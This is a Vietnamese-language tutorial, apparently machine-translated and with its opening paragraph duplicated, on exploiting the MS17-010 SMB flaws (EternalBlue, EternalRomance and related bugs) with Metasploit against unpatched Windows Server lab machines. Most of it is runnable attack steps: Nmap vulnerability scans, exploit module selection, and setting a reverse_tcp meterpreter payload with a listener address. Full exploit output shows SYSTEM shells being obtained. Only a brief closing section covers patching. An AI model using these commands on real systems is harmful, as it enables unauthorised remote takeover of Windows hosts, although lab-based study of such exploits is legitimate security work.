Khai Thác EternalBlue Trên Windows Server Bằng Metasploit

Các lỗ hổng và khai thác đặc biệt xuất hiện và tạo ra các tiêu đề với những cái tên hấp dẫn. EternalBlue là một trong những khai thác đó. Ban đầu gắn liền với NSA, khai thác này đã khai thác một lỗ hổng trong giao thức SMB, ảnh hưởng đến nhiều máy Windows và tàn phá khắp nơi. Tại đây sẽ sử dụng EternalBlue để khai thác SMB thông qua Metasploit.

Các lỗ hổng và khai thác đặc biệt xuất hiện và tạo ra các tiêu đề với những cái tên hấp dẫn. EternalBlue là một trong những khai thác đó. Ban đầu gắn liền với NSA, khai thác này đã khai thác một lỗ hổng trong giao thức SMB, ảnh hưởng đến nhiều máy Windows và tàn phá khắp nơi. Tại đây sẽ sử dụng EternalBlue để khai thác SMB thông qua Metasploit.

EternalBlue là gì?

EternalBlue là một khai thác rất có thể được NSA phát triển. Nó được phát hành vào năm 2017 bởi Shadow Brokers , một nhóm tin tặc nổi tiếng với các công cụ rò rỉ và khai thác được sử dụng bởi Equation Group , có liên quan đến đơn vị Hoạt động truy cập phù hợp của NSA.

EternalBlue, còn được gọi là MS17-010 , là một lỗ hổng trong giao thức SMB ( Server Message Block ) của Microsoft . SMB cho phép các hệ thống chia sẻ quyền truy cập vào các tệp, máy in và các tài nguyên khác trên mạng. Lỗ hổng được phép xảy ra vì các phiên bản trước của SMB có một lỗ hổng cho phép kẻ tấn công thiết lập kết nối phiên null thông qua đăng nhập ẩn danh. Kẻ tấn công sau đó có thể gửi các gói không đúng định dạng và cuối cùng thực hiện các lệnh tùy ý trên mục tiêu.

EternalBlue chịu trách nhiệm chính cho sự bùng phát của ransomware WannaCry , NotPetya và BadRmus, cũng như sâu EternalRocks.

Tùy chọn 1 Khai thác EternalBlue với Metasploit

Chúng tôi sẽ sử dụng một bản sao chưa được vá của Windows Server 2008 R2 làm mục tiêu cho phần đầu tiên của hướng dẫn này. Một bản đánh giá có thể được tải xuống từ Microsoft để bạn có thể theo dõi tốt hơn.

Bước 1Tìm mô-đun để sử dụng

Điều đầu tiên chúng ta cần làm là mở terminal và khởi động Metasploit . Loại dịch vụ PostgreSQL bắt đầu để khởi tạo cơ sở dữ liệu PostgreSQL, nếu nó không được chạy đã, tiếp theo là msfconsole .

service postgresql start msfconsole

Tiếp theo, sử dụng lệnh tìm kiếm trong Metasploit để xác định vị trí mô-đun phù hợp để sử dụng.

search eternalblue Matching Modules ================ Name Disclosure Date Rank Check Description ---- --------------- ---- ----- ----------- auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ exploit/windows/smb/ms17_010_psexec 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

Có một máy quét phụ trợ mà chúng ta có thể chạy để xác định xem mục tiêu có dễ bị MS17-010 không . Nó luôn luôn là một ý tưởng tốt để thực hiện cần thiết trinh sát như thế này. Mặt khác, bạn có thể sẽ lãng phí rất nhiều thời gian nếu mục tiêu thậm chí không dễ bị tổn thương.

Khi chúng tôi đã xác định rằng mục tiêu của chúng tôi thực sự dễ bị tổn thương đối với EternalBlue, chúng tôi có thể sử dụng mô-đun khai thác sau từ tìm kiếm chúng tôi vừa thực hiện.

use exploit/windows/smb/ms17_010_eternalblue

Bạn sẽ biết bạn tốt nếu bạn thấy lời nhắc “khai thác (windows / smb / ms17_010_eternalblue)”.

Bước 2 Chạy mô-đun

Chúng ta có thể xem các cài đặt hiện tại bằng lệnh tùy chọn .

options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs

Đầu tiên, chúng ta cần chỉ định địa chỉ IP của mục tiêu.

set rhosts 10.10.0.101 rhosts => 10.10.0.101

Tiếp theo, chúng ta có thể tải shell Reverse_tcp đáng tin cậy làm tải trọng .

set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp

Cuối cùng, đặt máy chủ nghe thành địa chỉ IP của máy cục bộ của chúng tôi.

set lhost 10.10.0.1 lhost => 10.10.0.1

Và cổng nghe đến một số phù hợp.

set lport 4321 lport => 4321

Đó phải là tất cả mọi thứ, vì vậy điều duy nhất còn lại phải làm là khởi động khai thác. Sử dụng lệnh chạy để bắn nó đi.

run [*] Started reverse TCP handler on 10.10.0.1:4321 [*] 10.10.0.101:445 - Connecting to target for exploitation. [+] 10.10.0.101:445 - Connection established for exploitation. [+] 10.10.0.101:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.10.0.101:445 - CORE raw buffer dump (51 bytes) [*] 10.10.0.101:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2 [*] 10.10.0.101:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard [*] 10.10.0.101:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac [*] 10.10.0.101:445 - 0x00000030 6b 20 31 k 1 [+] 10.10.0.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.10.0.101:445 - Trying exploit with 12 Groom Allocations. [*] 10.10.0.101:445 - Sending all but last fragment of exploit packet [*] 10.10.0.101:445 - Starting non-paged pool grooming [+] 10.10.0.101:445 - Sending SMBv2 buffers [+] 10.10.0.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.10.0.101:445 - Sending final SMBv2 buffers. [*] 10.10.0.101:445 - Sending last fragment of exploit packet! [*] 10.10.0.101:445 - Receiving response from exploit packet [+] 10.10.0.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.10.0.101:445 - Sending egg to corrupted connection. [*] 10.10.0.101:445 - Triggering free of corrupted buffer. [*] Sending stage (206403 bytes) to 10.10.0.101 [*] Meterpreter session 1 opened (10.10.0.1:4321 -> 10.10.0.101:49207) at 2019-03-26 11:01:46 -0500 [+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter >

Chúng tôi thấy một vài điều xảy ra ở đây, như kết nối SMB được thiết lập và gói khai thác được gửi. Cuối cùng, chúng ta thấy một “THẮNG” và một phiên mét được mở. Đôi khi, lần khai thác này sẽ không hoàn thành thành công ngay lần đầu tiên, vì vậy nếu nó không thử lại và nó sẽ hoàn thành.

Bước 3 Xác minh mục tiêu đã thỏa hiệp

Chúng tôi có thể xác minh rằng chúng tôi đã thỏa hiệp mục tiêu bằng cách chạy các lệnh như sysinfo để lấy thông tin hệ điều hành.

sysinfo Computer : S02 OS : Windows 2008 R2 (Build 7601, Service Pack 1). Architecture : x64 System Language : en_US Domain : DLAB Logged On Users : 2 Meterpreter : x64/windows

getuid để có được tên người dùng hiện tại.

getuid Server username: NT AUTHORITY\SYSTEM

Khai thác này không hoạt động tốt trên các hệ thống mới hơn và trong một số trường hợp, nó có thể làm sập máy đích. Tiếp theo, chúng ta sẽ khám phá một khai thác tương tự đáng tin cậy hơn một chút, nhưng cũng nguy hiểm chết người.

Tùy chọn 2: EternalRomance / EternalSynergy / EternalChampion

Như thể EternalBlue không đủ sức tàn phá, ba khai thác tương tự đã được phát triển sau đó. EternalRomance và EternalSynergy khai thác một loại nhầm lẫn ( CVE-2017-0143 ), trong khi EternalChampion và EternalSynergy khai thác một điều kiện chủng tộc ( CVE-2017-0146 ).

Chúng được kết hợp thành một mô-đun Metasploit duy nhất cũng sử dụng tải trọng psexec cổ điển. Nó được coi là đáng tin cậy hơn EternalBlue, ít có khả năng đánh sập mục tiêu và hoạt động trên tất cả các phiên bản Windows chưa được vá gần đây, cho đến Server 2016 và Windows 10.

Nhắc nhở duy nhất là khai thác này đòi hỏi một đường ống được đặt tên. Các ống được đặt tên cung cấp một phương thức để chạy các quy trình để giao tiếp với nhau, thường xuất hiện dưới dạng tệp để các quy trình khác đính kèm. Mô-đun Metasploit tự động kiểm tra các đường ống được đặt tên, làm cho nó khá đơn giản để sử dụng miễn là một đường ống có tên có mặt trên mục tiêu.

Bước 1: Tìm mục tiêu dễ bị tổn thương

Chúng ta có thể sử dụng Nmap như một giải pháp thay thế cho máy quét Metasploit để khám phá xem mục tiêu có dễ bị tấn công với EternalBlue hay không. Các Nmap Scripting Engine là một tính năng mạnh mẽ của công cụ cốt lõi cho phép tất cả các loại kịch bản để chạy chống lại một mục tiêu.

Tại đây, chúng tôi sẽ sử dụng tập lệnh smb-Vuln-ms17-010 để kiểm tra lỗ hổng. Mục tiêu của chúng tôi sẽ là một bản sao chưa từng có của phiên bản Windows Server 2016 Datacenter. Bản sao đánh giá có thể được tải xuống từ Microsoft để bạn có thể theo dõi nếu muốn.

Chúng tôi có thể chỉ định một tập lệnh duy nhất để chạy với tùy chọn –script , cùng với cờ -v cho mức độ chi tiết và địa chỉ IP của mục tiêu của chúng tôi. Đầu tiên, thay đổi thư mục trong trường hợp bạn vẫn đang chạy Metasploit.

cd nmap --script smb-vuln-ms17-010 -v 10.10.0.100

Nmap sẽ bắt đầu chạy và không mất quá nhiều thời gian vì chúng tôi chỉ chạy một tập lệnh. Ở dưới cùng của đầu ra, chúng tôi sẽ tìm thấy kết quả.

Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-26 11:05 CDT NSE: Loaded 1 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 11:05 ... Host script results: | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ |_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx NSE: Script Post-scanning. Initiating NSE at 11:05 Completed NSE at 11:05, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds Raw packets sent: 1181 (51.948KB) | Rcvd: 1001 (40.060KB)

Chúng ta có thể thấy nó liệt kê mục tiêu là dễ bị tổn thương, cùng với thông tin bổ sung như các yếu tố rủi ro và liên kết đến CVE.

Bước 2 Tìm mô-đun để sử dụng

Bây giờ chúng tôi biết mục tiêu dễ bị tổn thương, chúng tôi có thể quay lại Metasploit và tìm kiếm một khai thác thích hợp.

msfconsole search eternalromance Matching Modules ================ Name Disclosure Date Rank Check Description ---- --------------- ---- ----- ----------- auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution exploit/windows/smb/ms17_010_psexec 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

Và tải mô-đun trong Metasploit bằng lệnh use .

use exploit/windows/smb/ms17_010_psexec

Bạn sẽ biết bạn tốt nếu bạn thấy lời nhắc “khai thác (windows / smb / ms17_010_psexec)”.

Bước 3: Chạy mô-đun

Hãy xem xét các lựa chọn của chúng tôi:

options Module options (exploit/windows/smb/ms17_010_psexec): Name Current Setting Required Description ---- --------------- -------- ----------- DBGTRACE false yes Show extra debug trace info LEAKATTEMPTS 99 yes How many times to try to leak transaction NAMEDPIPE no A named pipe that can be connected to (leave blank for auto) NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The Target port SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as Exploit target: Id Name -- ---- 0 Automatic

Có vẻ như khai thác này sử dụng một danh sách các đường ống được đặt tên để kiểm tra và kết nối với một chia sẻ. Hiện tại chúng ta có thể để tất cả điều này là mặc định, nhưng chúng ta cần đặt máy chủ từ xa.

set rhosts 10.10.0.100 rhosts => 10.10.0.100

Và tải trọng vỏ ngược.

set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp

Và chủ nhà địa phương

set lhost 10.10.0.1 lhost => 10.10.0.1

Và cảng địa phương.

set lport 4321 lport => 4321

Chúng ta nên đi ngay bây giờ. Gõ chạy để khởi chạy khai thác.

run [*] Started reverse TCP handler on 10.10.0.1:4321 [*] 10.10.0.100:445 - Target OS: Windows Server 2016 Standard Evaluation 14393 [*] 10.10.0.100:445 - Built a write-what-where primitive... [+] 10.10.0.100:445 - Overwrite complete... SYSTEM session obtained! [*] 10.10.0.100:445 - Selecting PowerShell target [*] 10.10.0.100:445 - Executing the payload... [+] 10.10.0.100:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (206403 bytes) to 10.10.0.100 [*] Meterpreter session 2 opened (10.10.0.1:4321 -> 10.10.0.100:49965) at 2019-03-26 11:12:30 -0500

Chúng tôi có thể thấy tải trọng được thực thi thành công và chúng tôi kết thúc với phiên Đồng hồ đo.

Bước 4: Xác minh mục tiêu đã thỏa hiệp

Một lần nữa, chúng tôi có thể xác minh chúng tôi đã thỏa hiệp hệ thống bằng các lệnh như sysinfo .

sysinfo Computer : DC01 OS : Windows 2016 (Build 14393). Architecture : x64 System Language : en_US Domain : DLAB Logged On Users : 4 Meterpreter : x64/windows

getuid .

getuid Server username: NT AUTHORITY\SYSTEM

Phòng ngừa & Hiện trạng

Bất chấp tất cả thiệt hại mà EternalBlue đã gây ra, có một cách đáng tin cậy để ngăn chặn các kiểu khai thác này: vá hệ thống của bạn! Tại thời điểm này, gần hai năm kể từ khi các lỗ hổng này được tiết lộ, thực sự không có lý do gì để có các hệ điều hành chưa được vá.

EternalBlue tiếp tục là một vấn đề, và mặc dù hậu quả rất nghiêm trọng, thật không may, một số tổ chức vẫn sẽ chạy các hệ thống chưa được vá. Điều đó, kết hợp với các phiên bản lậu của Windows, khiến EternalBlue trở thành mối đe dọa đáng kể cho đến ngày nay.

Cryptojacking, sử dụng máy tính của nạn nhân để bí mật khai thác tiền điện tử , là một vectơ đe dọa khác sử dụng EternalBlue để thúc đẩy các cuộc tấn công. WannaMine là một trong những vụ dịch đã tấn công máy tính trên toàn thế giới vào năm 2018.

Từ khóa » Khai Thác Lỗ Hổng Ms17-010